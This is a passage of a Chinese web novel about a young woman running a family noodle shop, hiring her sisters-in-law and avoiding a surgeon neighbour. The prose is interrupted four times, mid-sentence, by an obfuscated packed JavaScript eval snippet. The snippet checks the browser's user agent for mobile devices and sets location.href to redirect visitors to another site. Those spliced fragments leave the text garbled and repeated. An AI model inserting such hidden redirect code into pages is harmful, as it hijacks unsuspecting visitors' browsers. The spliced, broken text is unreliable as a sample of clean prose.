赵苏南摆开一溜大碗，麻利地调味、煮面、加小料，上桌。 一群小顾客闻着味直咽口水，这个年纪的孩子，吃得多，消耗的也快，上了一天课，肚子饿的不行，酸辣味一勾，咕咕叫起来停不住。 苏芸和赵建军端面上菜，生怕这帮孩子饿着。 这帮孩子是王新欣同年纪，同个班级的，听王欣欣说昨天在一家店吃到非常非常好吃的粉，叫酸辣粉，描述的美味的不得了。 晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276532|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一放学，跟着王欣欣就过来了。 本来还在想王欣欣说的酸辣粉能有多好吃。 这亲自品尝后，觉得王欣欣压根没有夸大。 就是好吃。 有食量大的孩子，嗦完一碗，问赵苏南能不能再加。 这一批小食客还没走，下一批小食客就来了。 赵苏南一碗接着一碗煮。 有人能吃到好吃的酸辣粉，有人却只能坐在食堂里，戳着两掺的米饭，在那哀嚎。 “早知道今天在医院加班，哪管吃不到酸辣粉，让老板给我打包一份辣酱也好啊！”张力的眼睛都要淌眼泪了。 周正自己也沮丧着呢。 今天早上陆主任突然说带着他们上台做手术，本来还很兴奋。 结果下了手术台，陆主任把他们召集到一起，挨个叫出来，指着他们的错误，给与了他们批评。 并且给他们每个人布置了学习任务，罚他们留下来加班。 原本他们计划好晚上再一起去小赵老板哪里去吃饭的。 现在只能坐在食堂里，吃食堂了。 张力唉声叹气夹着饭，就着眼泪往下咽：“要是没吃过小赵老板的酸辣粉也就罢了，吃过了，叫我再吃这食堂饭，我心里难受啊！” 其他没去过赵苏南的几个同事，看见他们几个尤其是张力的这个样子，哈哈笑的东倒西歪。 “那酸辣粉就这么好吃？还是人家女同志好看的让你们忘不了？”同事调侃他们几个。 周正脸红了，连连否认。 张力却是斜眼看着他们几个：“你们不懂昨天到底错过了什么。”一副高人寂寞的样子。 大家伙又是一阵哄笑，却也真的对张力念念不忘的一碗酸辣粉产生了好奇。 这得有多少吃，想着距离总院不远，有时间了就去尝尝看。 坐在被柱子挡住食堂拐角处的吕主任听的一群小年轻的话，笑着对坐他对面的陆淮川道：“还是年轻好啊，心态好啊。” 陆淮川默默吃饭不应声。 吕主任打量着陆淮川的脸色，说道：“护士长说你已经在医院住了一个星期没有回家了，脸色也冷的很。” 陆淮川依旧面无表情，叫人看不出来在想什么。 吕主任又道：“不光护士长说，手术室的麻醉大夫、巡回护士都和我抱怨，说陆主任连续一个星期心情都不好，抱怨他们大气都不敢在手术喘，生怕被你找出来错来，挨批评。” 陆淮川也知道自己这一个星期的确心情不佳。 但想到那个给他下药，却扬言只想睡他的女人。 陆淮川脸色青了又紫，紫了又青。 他出生这二十九年来，就没见过这么胆大的女人。 色胆包天打主意都打到他身上来了。 只要一想到她，陆淮川就浑身冒着寒气。 但偏偏脑子又都是她娇艳妩媚的模样。 忘又忘不掉，还又不能拿她怎么样。 吕主任也察觉到了，陆淮川的确心情不好，瞧瞧，那张脸冷的，能冻死人。 “那个，小陆啊，压力大，回去好好休息休息，身体为重啊。”吕主任劝道。 陆淮川起身端起干净的餐盘：“谢谢吕主任关心，下周一我回家休息。” 8. 第 8 章 赵家的小小早餐店，经过一个星期的营业，在周日迎来了一波小高峰。 周日放假，职工学生在这一天休息，上午开始过来吃饭的人就没有停过。 来的客人多，赵苏南三口人忙的团团转。 苏芸一人做起了收银、上菜、点单、收拾碗筷，擦桌子这些活计，赵建军负责烧火、洗碗。 赵苏南面前摆着一排空碗，她守着两个锅，一边煮粉，一边煮面，动作干净利落，忙而不乱。 吃面的食客都是老顾客了，意犹未尽的吃完碗里的卤肉，犹觉得不过瘾，对着正在煮面的赵苏南抱怨：“小赵老板，你们家的卤肉太好吃了，这一碗面才八片卤肉，吃不过瘾啊！” 其他的食客也纷纷应道：“是呀，小赵老板，卤的太少了，不够吃呀！” 赵苏南这几天都听到来吃面的食客和她商量，能不能多卤上一点肉，吃上这么一点，才刚刚吃了个味，就没了。 她想过卤肉生意会好，却才不到一个星期，销路就打开了。 不过现在还不是买卤肉的时候，得把等到她把隔壁店租下来，借着卤肉这股人气，把新店带起来。 赵苏南看着顾客笑着道：“感谢各位顾客厚爱，既然各位喜欢，我每天会再多卤上一点，并且在下月正式卖卤货，再上三道新面，到时请各位来多多捧场。” 她趁着这个机会，给自己下月要上的三道新面，做个宣传。 各位顾客好奇了：“小赵老板，什么新面？” 赵苏南卖了个关子，没有回答，只是道：“下月大家伙就知道了，保准让大家满意。” 她这一说完，勾起了大家的好奇心，都说着下月要来尝尝是什么新面。 赵苏南家的小店忙的脚打后脑勺，北街的孙燕看着自家少了一半的客人，恨的牙都要咬碎了。 这一周赵家卖面以来，来她们家吃面的客人就一天比一天少，今天周日，人更是少了一半。 这周她们家少赚了一百多块钱，还有准备了没卖出去又扔掉的那些菜、肉和面。 那扔可都是钱啊。 孙燕心疼的嘴上都起了老大一个燎泡。 孙燕哑着嗓子横起眼睛瞪着李明道：“你倒是想想办法啊，你自己去西街去看看，那在她家吃饭的人排队都要排到北街来了，你这面馆的生意都要被哟个小丫头给抢了，还坐在那抽烟，快想一想招啊！” 李明三角眼，瘦猴一样的身材，坐在凳子上抽着烟，一脸阴险：“那小黄毛丫头以为能抢走我生意，不给她点教训，怕是不知道什么是天高地厚。” 孙燕闻言一喜：“你有什么招？” 李明手夹着烟：“贴个告示在门口，从明天开始，面馆的面都卖两毛、三毛，看她那小店拿什么和我打。” 孙燕想到自家的面要降价，顿时觉得肉疼不已，但只要能把西街赵家打垮了，她的心又舒服了。 赵家小店没了，她们家的面馆就开始涨价，赔的这点几天就能赚回来。 两口子都决定就这么办。 晚上六点，店里准备的食材全部卖光，这才算是闭店歇业了。 苏芸坐着锤锤腿和腰，身体虽然累，心里却高兴。 “今天来这么多人吃饭，可真是不敢想。” 赵建军也累的腰酸背痛，点点头：“幸好苏苏备的食材足，要不都撑不过一上午。” 赵苏南数着手里的钱，今天的营业额突破一百，加上前五天的营业额，这一周共赚了三百四十六块七毛六。 再算上大舅给的三百，她手里现在共有六百多元的巨款了。 有了手里的这笔钱，赵苏南对着赵父、苏母道：“爸、妈，我要把咱家隔壁那间店铺租下来。” “租店铺，是不是太快了？那间铺子租金可高。”苏芸皱着眉。 赵苏南摇头：“不快。现在来咱家小店吃饭的客人越来越多，问题也跟着来了。” 她和父母详细说道：“一是来了这么多客人，店里容纳不下这么多客人，客人等待时间长，下次就不来了；二是咱家卖的面品类太少，客人来了吃过一次两次，总会吃腻的时候，但是要增加菜品，又回到了第一个问题，店里容纳不下这么多客人一起进店吃饭。” 苏芸是个聪明人，这些问题赵苏南一说，她在脑子里转一圈就想明白是怎么一回事。 “可装修房子得需要好大一笔钱吧！”苏芸她们夫妻俩手上的确没有太多，这点钱不够女儿装修的钱。 赵苏南拿着手里的钱对着父母一挥：“这些天赚的，加上大舅给的三百，足够装修了，有其他缺的，再一点点添置。” 赵建军点头“既然你决定好了，也别耽搁，明天爸带你去把租房手续办了，去你奶那让你二叔给你打几套好的桌椅板凳。” 赵苏南把钱收好，又说道：“租了新店，妈你和我爸就不用卖早餐了，在小店里帮着我卖卤肉，一个月五五分成。” 没等苏芸摆手，赵建军先拒绝道：“我和你妈怎么要你的钱，店是你的，给我和你妈开个几十块工资就够了。” “爸，你和我妈是帮我做生意，咱们这是合伙，我技术入股，你们俩负责经营，就五五分，说定了。”赵苏南道。 她弄这卤肉就是为了爸妈不起早贪黑那么幸苦，也是为了给她们俩重新找一份赚钱的事业干。 赵苏南倒是想养着父母，叫她们什么也不干，可父母不会舒服的，容易产生我是不是不被需要的惶恐惊慌。 有一份能做的事，人才不会觉得无趣。 “不过把这隔壁租下来，爸妈要忙着卖卤肉，洗碗、上菜、收拾卫生这些事肯定忙不过来，得雇两个人来帮忙。”赵苏南想了想道。 苏芸问：“雇人你给多少钱一个月？” 赵苏南算了算，普通工厂职工一个月四十元，那就四十一个月吧，“一个月四十。” 这工资可不低了，苏芸倒是想起了两个人：“你二叔家大嫂、二嫂，干活利落，倒是挺合适的。” 大嫂、二嫂，赵苏南没有和这两位嫂子相处过，不知道具体性格什么样子。 就怕不好相处的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276533|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到时候闹了矛盾出来，两家人都不大好看。 别到时候两家好好的亲戚，因为这再闹僵了。 这就不好了。 但赵苏南也没拒绝：“等明天我见过两个嫂子再看看。” 苏芸也清楚自家闺女的顾虑，她道：“行，那就看看再说。” 一家三口回到家，简单洗漱完，累到沾枕头就睡着了。 第二天不用早起，难得睡到了天光大亮。 赵苏南躺在床上伸着懒腰，只觉得不用干活的一天可真美好。 她就这样赖在床上，赖到她妈来敲她的门喊她起来吃饭，这才叹着气，不情不愿的离开被窝。 洗漱完上桌吃饭，早上的饭简单，苏芸煮的粥，热了馒头，就着赵苏南腌的咸菜和辣酱，就是一顿早饭。 “可是好久没在家吃过早饭了。”赵建军感慨。 苏芸喝了一口粥笑道：“可不是，今天早上醒过来，看见外面的天光，吓得我猛的就坐起来，以为起晚了睡过头了，再一想，今天休息，不用去店里，这才长出一口气。” 赵苏南夹起馒头吃起来，边吃边道：“等到下个月隔壁店铺装好，就再也不用起的那么早了。” 是呀，这日子越过越好啦。 吃过饭，赵苏南骑车先去总院一趟。 她去把父亲的药给开了。 周一的总院人很多，赵苏南跟在大伙身后缴费挂号，再排着队看医生。 到她很快，进了诊室，大夫是一位带着眼睛，温和儒雅的男医生，他大概四十多岁的样子。 赵苏南把病例本交给他，询问到：“韩医生，我父亲赵建军现在的身体怎么样？” 这位韩医生接过病例，略有讶异地看着眼前的这位姑娘：“你是赵建军同志的女儿。” 赵苏南点头。 她不知道父亲现在的身体是什么情况，有没有什么危险。 韩医生语气温和：“赵建军同志去年体检检查报告显示都不错，肺部两个贯穿伤恢复的很好，不影响以后的生活，心脏的问题控制的也不错，只要开的药按照医嘱吃，按时来医院复查，暂时不会有什么问题。” 赵苏南松了一口气，暂时没有问题就很好：“谢谢医生，我爸的药吃没了，您再给他开上一些。” 韩医生写字速度很快，盖上戳，递给她：“去二楼药房取药吧。” 赵苏南捧着药单，虽然送了一口气，但还是皱着眉头没有放松。 她的出来韩医生潜台词，她父亲的心脏的问题只能暂时控制着，一旦这药断了，或者药不好用了，就会出现生命危险。 可是依照现在的医疗条件和技术，压根不可能彻底根治父亲的心脏问题。 这让她有些焦虑。 可也没有其他办法。 她能做的就是注意父亲的身体，察觉到不对，第一时间来医院。 还有就是更努力的赚钱。 只有手里有足够的钱，才能有更多的尝试和选择。 才能有更多能治好父亲的机会。 9. 第 9 章 从医院回来，赵苏南的父母已经准备好了带去给奶奶的东西。 看见赵苏南开门回来，苏芸嗔怪地对她道：“买药妈哪天有空自己去就好了，你还非要自己骑着车跑医院一趟。” 赵苏南笑着把药递给她妈，脸色如常：“这不是挺久没出去骑车了，给我爸买药，顺便溜达显摆显摆我的自行车。” 苏芸接过药：“就你会做怪。” 赵苏南看着地上的东西：“就是这些了么？” 有一些是她做的腌菜、辣酱，有一些是父母买的罐头、麦乳精、奶粉、肉菜等等。 “就这些。”赵建军提起一部分拿到三轮车上，赵苏南提起另一部分跟在父亲身后：“爸，路过供销社我去买一些水果，不知道我奶和我二叔他们喜欢吃什么。” 赵建军道：“你买什么你奶和二叔都高兴。” 赵苏南也不问了，等会到供销社看看有什么水果，再选一些。 赵苏南奶奶和二叔住在一个大杂院里，都在南区，从他们家骑车过去一个小时。 路上看到供销社，赵苏南停车进去看，水果的样式很少，苹果、梨和橘子。 她每样都称了一些，又称了糖果、饼干、蛋糕。 这些东西共花了十元钱。 赵建军看们母女买了这么多东西，上前帮忙提：“怎么买这么多？” 苏芸笑着说：“苏苏说自己赚了钱，给奶奶买点好吃的有什么。” 赵建军把东西放好：“也成，老太太最疼苏苏，什么好吃的东西都是留给她，四个重孙子都比不上她。” 赵苏南的奶奶叫吴翠芬，今天七十一岁，爷爷生病去世后，一个人拉扯两个儿子长大。 后来大儿子去参军，一直和小儿子一家住在一处大杂院。 前些时候在厨房做饭，一个起身，昏了过去。 到医院一查患了高血压。 这一摔老太太右臂和左腿骨折，索性没有摔倒腰，在医院做完手术，就回家静养了。 也不知道现在恢复的怎么样。 一路骑着车就到了奶奶他们所住的胡同口。 胡同口三三两两坐着几位中年妇女，围拢在一起说这话。 老远看到赵苏南一家三口就打招呼： “苏芸两口子回来了，哎呦，这是苏南吧，长得真俊啊。” “苏南这自行车新款式啊，得花不少钱吧，也就你们两口子能赚钱，舍得买。” “苏芸哪，不是我说，你家老太太这遭生病花了不少钱吧，苏南也没有个工作，全靠你们俩养着，小小年纪整日在外面瞎混，别在外面惹出了祸来，可就难办喽。”这话是坐在左边中间五短身材，粗胖的冯嫂子说。 苏芸看都没看她，对着苏南大声道：“苏苏，你开饭店赚了钱不容易，给你奶奶和你二叔买了十块钱的水果，可得快拿到屋里放好，这水果最怕热了。”又对其他几个妇女道：“林嫂子，周嫂子，那我们就先进去了。” 冯嫂子听说买了十块钱的东西，脸拉拉的老长：“吹什么牛，瞧着谁不知道似的，赵家大闺女夜壶倒了都不知道扶的，眼高手低，开什么饭店。” “我瞧着像是真的，你没看见赵老大的三轮车里放了不老少的吃的呢，我搭眼一瞧，有肉、有水果还有罐头呢。”林嫂子道。 “我也瞅着了，这谁家过年也没吃这么好，要不是赚了钱了，谁敢这么花。” 其他人应和着，讨论着，冯嫂子可听不下去，翻了个白眼，拿着小马扎回去了。 她和苏芸自嫁到着胡同这来，就互相瞧不上。 苏芸仗着嫁着好丈夫，有个好婆婆在这显摆，可把吴嫂子呕的不行。 直到她有了赵苏南这个闺女，干什么什么不行，高中读完连个工作都没有，整天朝家里要钱，活脱脱一个败家子。 现在老婆婆也病了，花了不少钱。 她以为苏芸这辈子终于要被她压下去了。 没想到赵家大姑娘开饭店了，赚了钱了。 她要赶紧回去收拾自家那个现在还躺在家里睡觉的闺女，让她赶紧出去工作，也拿钱回来让她娘也在这胡同风光风光。 骑车到家门口，门开着，院里的两个人正在刨木头，听到车子声音抬头，就看到这一家三口。 最先开口的是和赵苏南他爸八分相似的中年男人：“大哥、大嫂，苏南，今天怎么突然来了，店里不忙？” 错后他一个身位的二十八九左右留着寸头的男人开口叫道：“大爷、大娘，苏苏。” 赵苏南只笑着，不开口，一副腼腆的样子。 她脑子里没有记忆，害怕出口说错话，少说为好。 赵建军把车子停稳，对赵建国说：“今天休息一天，带着你大嫂和苏苏回来看看妈。” 苏芸从车上下来，往下拿东西。 赵建国和他大儿子赵山放下手上的东西，迎过去，接过苏芸手上的东西：“大嫂，怎么拿这么多东西来。” 赵山冲着屋里喊：“妈，奶奶，我大爷、大娘和苏苏来了。” 大人们在前面说话，赵苏南跟在后面打量这处大杂院。 五间的院子，中间一个正房，左右两个厢房。 院子收拾干净整齐，靠墙边摆着一些木板和木头。 应该是做桌子的材料。 左右厢房各出来两个穿蓝色、灰色衣服的女人。 左边的年纪稍长些，右边的年轻些。 “大爷、大娘，苏苏来了。” 一群人边打着招呼边向着主屋走。 屋里老太太听得了大孙女回来了，就下地朝外走。 看见人群后的赵苏南，笑的一脸慈祥：“奶奶的孙孙回来了。” 赵苏南快步走上前，馋住奶奶的胳膊，回道：“回来了奶奶，您身体恢复的怎么样了？” 吴老太太拍拍赵苏南的手：“奶奶好着呢，这腿也好使了，胳膊也好使了。” 赵苏南笑着道：“那也不能大意，好好养一段时间，大夫说好了，才是好了。” “是，是，是。”宝贝孙女来了，吴老太太没有不听的。 冯二婶也笑了：“看看，还得是大孙女来管用。” 一家人坐在一起说话，冯二婶道：“家里的店不忙么，老太太恢复的好，我和建国照顾着妈，大嫂你和大哥不用惦记，安心照顾店里的活。” 赵建军道：“店里现在早上卖包子馒头，中午晚上苏南卖面，苏南说忙了一周太幸苦，就定下来周一休息。” 这下，全家的惊讶了，冯二婶道：“苏南会做面条？” 赵苏南点头道：“跟着一位老师傅学的厨艺，想着家里的店里中午、晚上空着，就试试看卖面。” 赵二叔道：“行，有想法就去做。” 赵建军对二弟道：“二弟，苏苏准备租下隔壁那间店面，想找你打桌子凳子这些东西。” “行，苏苏要多少套，二叔和你大哥、二哥先把你的赶出来。”赵建国道。 赵苏南想了想：“二叔，要二十套桌椅。”她又问二叔道：“二叔，你会做牌匾么？” “会，都会做。” “二叔，你帮我做两个牌匾，等我把字写好给你。”赵苏南道。 赵二叔笑着道：“不着急，什么时候写好，什么时候拿过来就行。” 这会送东西的赵海也回来了，进屋道：“在门口看着车就眼熟，大爷、大娘、苏苏来了。”又对着他爸道：“爸，写什么字？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276534|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵二叔道：“你妹妹开了饭店，做牌匾。” 赵海愣了一下：“苏苏什么时候学的厨艺。” 赵苏南回到：“很久前学的了。” 赵海找了个凳子坐下：“那好，到时候二哥去尝尝你的手艺。” “不用其他时候，就今天吧，现在已经到了饭点了，今天我做饭，让大家尝尝我的手艺。”赵苏南道。 说着就看想两位嫂子道：“嫂子，能帮我打个下手么？” 大嫂子叫许华，二嫂子叫张琴。 许华道：“行啊，你们在屋里说说话，我和二弟妹帮苏苏打打下手。” 三个人拿着赵建军他们带回来的食材，朝着厨房去了。 厨房有两口锅。 赵苏南看了看厨房的调料，心里有了数。 就做回锅肉，茄子炖土豆，排骨炖豆角三个菜。 再配上她卤的卤肉，凉拌拍黄瓜五个菜够了。 定好了菜，就开始处理食材。 赵苏南看着两位嫂子：“大嫂，洗菜的盆是那个？” 许华是个爽利的女人，她道：“苏苏，洗什么菜你说，我就给你洗好，你就做饭就好。” 赵苏南道：“大嫂，我们一起洗快。” 二嫂张琴是个腼腆不爱说话的，但干起活来同样麻利。 三人行动起来，二嫂收拾土豆，豆角，大嫂洗菜，赵苏南烧水焯肉剁排骨。 排骨剁成拇指大小的块，五花肉切成薄片备用。 炖排骨豆角需要的时间比较成，所以要先做。 大嫂、二嫂干活速度块，土豆、豆角、大葱，青椒都处理干净了。 大嫂负责掌火，热锅里放入五花肉，煸炒出油，排骨全部倒进去炒至肉微微焦黄，放入酱油等调料，加入豆角翻炒，最后加水。 排骨炖豆角是一道东北名菜，做起来简单粗暴，吃起来下饭。 茄子炖土豆也是更加简单。 另一个锅里同样放入五花肉炒至出油，加入茄子土豆翻炒微微变色，放入酱油等调味料，盖盖烧火焖十五分钟。 趁着等待的时间，赵苏南把卤肉取出来，切成大小均匀的厚片，装盘摆好。 水灵灵的黄瓜放在菜板上用菜刀重重拍下，拍成了个四分五裂的碎块。 拍黄瓜放进盆中，加入蒜、香菜末、酱油等调味料，用筷子一拌，一道拍黄瓜完成了。 十五分钟一到，掀开锅盖，浓香四溢的茄子炖土豆这就好了，撒入葱花，香菜，装盆出锅。 软糯的茄子配上嫩黄的土豆，绝绝的下饭神器。 炖菜的香味把赵二哥葱屋里勾了出来，进厨房就看到这盆下饭菜。 “苏苏，你这手艺真不错，这菜真香啊。”赵二哥赞扬道。 “还成，勉强能靠着这门手艺混个饭吃。”赵苏南笑着道。 她边说边把锅刷干净，开始炒回锅肉。 回锅肉这道菜是道有名的川菜。 讲究的川菜师傅炒这道菜，用的猪肉必须是猪二刀肉，用蒜苗不用青椒，用甜酱来炒不用豆瓣酱来炒。 总之是炒出一份好的回锅肉讲究很多。 但赵苏南做的是家常版本，没有那么多讲究。 下入一丁点五花肉炒出油来，再放入切好的五花肉片，炒成灯盏状，下入她自制的辣酱、调料和肉炒，最后下入青椒，炒熟起锅装盘。 一盘家常版的回锅肉就炒好了。 赵二哥，大嫂、二嫂闻着这香味，只觉的那国营饭店的大厨怕是也没有苏苏这手艺吧。 都是一样的手，苏苏用五花肉炒出来的五花肉咋那么就这么香，他们炒出来的怎么就没这香味。 回锅肉炒好，排骨炖豆角也可以出锅了。 10. 第 10 章 拇指大小的排骨炖的软烂，嫩绿的豆角点缀在排骨当中，撒下一把葱花，铲子微微翻动，丝丝葱香挥发在汤里。 装进盘子上桌。 赵海端菜，两个嫂子拿碗，收拾厨房，没再用赵苏南沾手。 锅涮完，用过的菜板、菜刀、盆、盘子收拾整齐摆好。 擦拭锅面的抹布虽然破可很干净。 装泔水的泔水桶应该也是每天涮洗，没有污渍异味。 这就能看出来两个嫂子是平常很爱干净的人。 赵苏南笑着问道：“大嫂、二嫂，现在家里忙不忙的过来？” 大嫂弯腰边擦锅面边回：“有什么忙不过来的，你二叔和大哥、二哥他们爷三在外面干活，不在家，就照顾照顾你两大两小四个大侄，做点缝缝补补的活。” 二嫂也回道：“家里的事少，奶奶恢复的也好，你和大爷、大娘每天开店才幸苦，家里有我们照看着，你们就安心在外工作。” 赵苏南看出来，她这两个嫂子性格完全不一样。 一个爽朗大气，一个内敛细心。 也看的出两个人相处的很好，没有龃龉。 她妈说两个嫂子好，的确很好。 店里用自家人，知根知底。 就是不知道两个嫂子愿意不愿意来她这干活。 “大嫂、二嫂，我租了了个新店面，需要人来负责收钱，上菜，一个月四十块的工资，您俩愿不愿意来。” 一个月四十块，苏南开的工资赶得上一个工厂的正式工了。 拿这钱雇她俩，是不是给的太多了。 大嫂许华摆手：“苏苏，我和你二嫂没做过这些，弄不好可怎么办。” 二嫂张琴闻言点头。 赵苏南看着大嫂二嫂道：“大嫂、二嫂，这些活不难，就是人多的时候，脚不沾地，很累。” 大嫂听到累，可不担心了，想当年，什么脏活累活没干过，在饭店干活，再累也累不过那时候去。 她这一天在家只能接些缝缝补补的活计，一个月下来，就能赚个零用，她家两个孩子都要大了，靠着丈夫一个人，还是不够用。 有了这份收入，将来两个孩子不论是要干些什么，还是娶媳妇，都能再多帮他们一些。 二嫂张琴也是这么想的，她家两个孩子还小，但是也得早早做打算。 “苏苏，我和你大嫂都能去，可你这给的工资开的太多了，一个月开二十五块钱就好。”二嫂张琴道。 都是自家人，小妹租下店面，哪哪都需要钱，再说她和大嫂就是干收拾碗筷的活，又不是什么技术活，怎么好意思收这么多工资。 “四十块钱一个月可不多，到时候新店开业，招呼客人、收钱、收拾碗筷、端菜等等这些活都得要大嫂二嫂负责呢，等到店里收入多了，还得给大嫂、二嫂涨工资呢。” 这话说的好听，说的大嫂许华脸上都带着笑，她说：“苏苏开了饭店就是不一样了，从前没见嘴这么甜了呢，还会哄你大嫂二嫂开心了。” 赵苏南眨眨眼睛，也跟着笑：“这不叫哄人，这叫说实话。” 这时大嫂和二嫂已经把厨房收拾完了，擦干净手道：“快进屋吃饭去，可得好好尝尝苏苏亲手做的菜，刚才闻着就流口水了。” 二嫂跟在后面附和：“可不是。” 屋里一家人围在一桌，说说着话，就等她们三人上桌吃饭。 赵海见她们三个终于从厨房回来了，笑着抱怨：“可是回来了，大娘还拦着我们不让去帮忙，再不开饭，就这这一桌菜的香味，口水要止不住的留了。” 赵苏南挨着吴老太太坐。大嫂、二嫂挨着大哥、二哥坐。 “快开饭吧，等会该凉了。”赵苏南说。 吴老太太先夹筷子回锅肉，其余人跟着夹菜吃起来。 第一筷子对准的，都是那盘回锅肉。 薄薄的肉片，五花三层，油汪汪地沾着点点红油辣酱。 吃道嘴里一点都不腻，肉皮脆弹，白肉香，红肉嫩，微微带点辣，可太好吃了。 赵海是个会吃的，碗里盛上一大碗米饭，再在上面盖满茄子炖土豆，搅拌在一起攉匀，一大口，一大口吃起来。 赵建军看了哈哈笑，指着赵海：“还是海子会吃。” 但笑归笑，也盛起一大碗饭照着赵海的做法吃起来。 其余的见样学样也这么吃起来。 吴老太太年纪大了，只能一口菜，一口饭的细嚼慢咽。 赵山吃了排骨炖豆角，只觉得这豆角入味，排骨上的肉一抿就脱骨，咸鲜下饭。 冯二婶最中意那盘子卤肉，香醇入味，极好吃。 吃的腻口，夹起那道拍黄瓜，吃上一口，清爽解腻。 一桌子人吃的头也不抬，无人说话。 吃完，一桌子菜连同那道拍黄瓜都没剩下。 一群人抚着肚子都吃的撑了。 一家人一起收拾完，赵苏南一家就要回去了。 知道下午赵苏南要去房管局，冯二婶也没拦着让门多待。 前面大人在寒暄，赵苏南和奶奶走在最后，老太太不知从哪里翻出来一小堆的钱，塞给她：“乖乖，这是奶奶给的零花钱，拿去卖好吃的。” 赵苏南抓着着一堆钱，抿着唇：“奶奶，我现在能赚钱了，这您留着自己花。” 吴老太太拍拍她的手，笑的慈爱：“奶奶没有花钱的地，都留给我们乖乖卖好吃的。” 赵苏南眼眶发酸，上一辈子没有体会过奶奶疼爱是什么感觉，现在她都感受到了。 她随着老太太的力道，把钱收好，抱了抱奶奶：“谢谢奶奶。” 到了门口，都骑上了车了，二婶猛地把一把大团结塞进骑着自行车的赵苏南手里：“苏苏，这些是三百块钱，是你大哥大嫂、二哥二嫂跟我和你二叔的，你先拿去用。” 赵苏南手拿着钱，心里暖洋洋的，她看着二婶、二叔郑重地说：“这钱是我借的，等有了，就还给大家。” 冯二婶笑着道：“好，快回去吧。” 拿着这一堆钱，赵苏南心里注入了一股子干劲，恨不得现在就把饭店装修好，立刻马上开门。 但马上开门是不可能的事。 去把店面租金先交了，钥匙先拿到手还是可以的。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276535|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏南她们回了家先去到了房管所。 说明了要租房子的事。 接待她们的是个姑娘。 这姑娘见租房人的身份信息写的是赵建军，核实、取合同，签字，交钱，拿钥匙，走的流程飞快，一下午的时间全部搞定。 因为上面来交代过，说是对这一家多照顾着点，平时有什么困难多多帮忙。 所以听他们来租房，全部按最快流程办完。 “房租每月八十，从五月一号开始算，这几天就不收了，注意装修时不能毁坏房子结构，在这里签字。”这姑娘道。 赵苏南在指定签名位置签好字，店面的钥匙就拿到手了。 走出房管所，拿着钥匙，赵苏南非常高兴，这种兴奋不亚于她二十岁买到人生第一个房时的高兴。 可惜从房管所出来已经快四点了，她只能按捺住取看房子的想法。 赵建军和苏芸也跟着笑，他们闺女自己都能做出一番事业了，可真好。 回了家，三人没有休息，把昨天买回来的黄瓜、萝卜、辣椒处理了。 黄瓜、萝卜做成腌菜，辣椒做成辣酱。 陆淮川回来的时候，闻到小院里飘着浓郁的萝卜味。 赵家厨房门敞着，陆淮川撇到一盆盆切成丁的萝卜，摆在地上。 赵苏南头发盘成个奇怪丸子，拿着菜刀落到萝卜上，有节奏地“哆哆哆”切着。 她怎么在家？ 还有赵苏南什么时候会切菜了？ 切萝卜的苏芸听到自行车声抬头，看到陆淮川，笑着打招呼：“陆主任回来了。” 削萝卜皮的赵建军转过身也道：“陆主任回来了。” 陆淮川下了车看都没看赵苏南，对着夫妻俩略点一下头：“赵叔，苏婶。” 赵苏南听到陆淮川回来，吓的一个哆嗦，菜刀差点没切手上。 完了，危险。 赵建军一手拿萝卜，就这么和陆淮川聊了起来：“陆主任有一周没有休息了。” 陆淮川惜字如金：“医院忙。” 赵建军知道陆淮川医院忙，点点头，又问道：“今天回来能休息一天？” 陆淮川回：“回来取些东西，回我父母那边住一晚，明天上班。” 赵建军闻言道：“那你快去收拾。” 陆淮川对着赵建军点头，转身开门进屋了。 赵苏南正伸长脖子在听，直到陆淮川进屋了，刚松下一口气，苏芸道：“苏苏，去拿些腌菜给陆主任，让他带给陆首长他们尝尝。” 赵苏南不想去见陆淮川。 她算是意识到了，陆淮川和她们家住在一起，凭着两家的关系，她根本避不开陆淮川。 但是她是避不开陆淮川。 可她能让陆淮川主动离她八尺远啊。 赵苏南装好腌菜、辣酱，朝着陆淮川房子走去。 她记得书中可写着，陆淮川不喜欢与人身体接触，尤其是女人。 那她可就要又对不起陆淮川了。 没办法，她想要远离麻烦，好好的赚钱过日子，那首先要远离的第一个大麻烦，就是陆淮川这个书中男主。 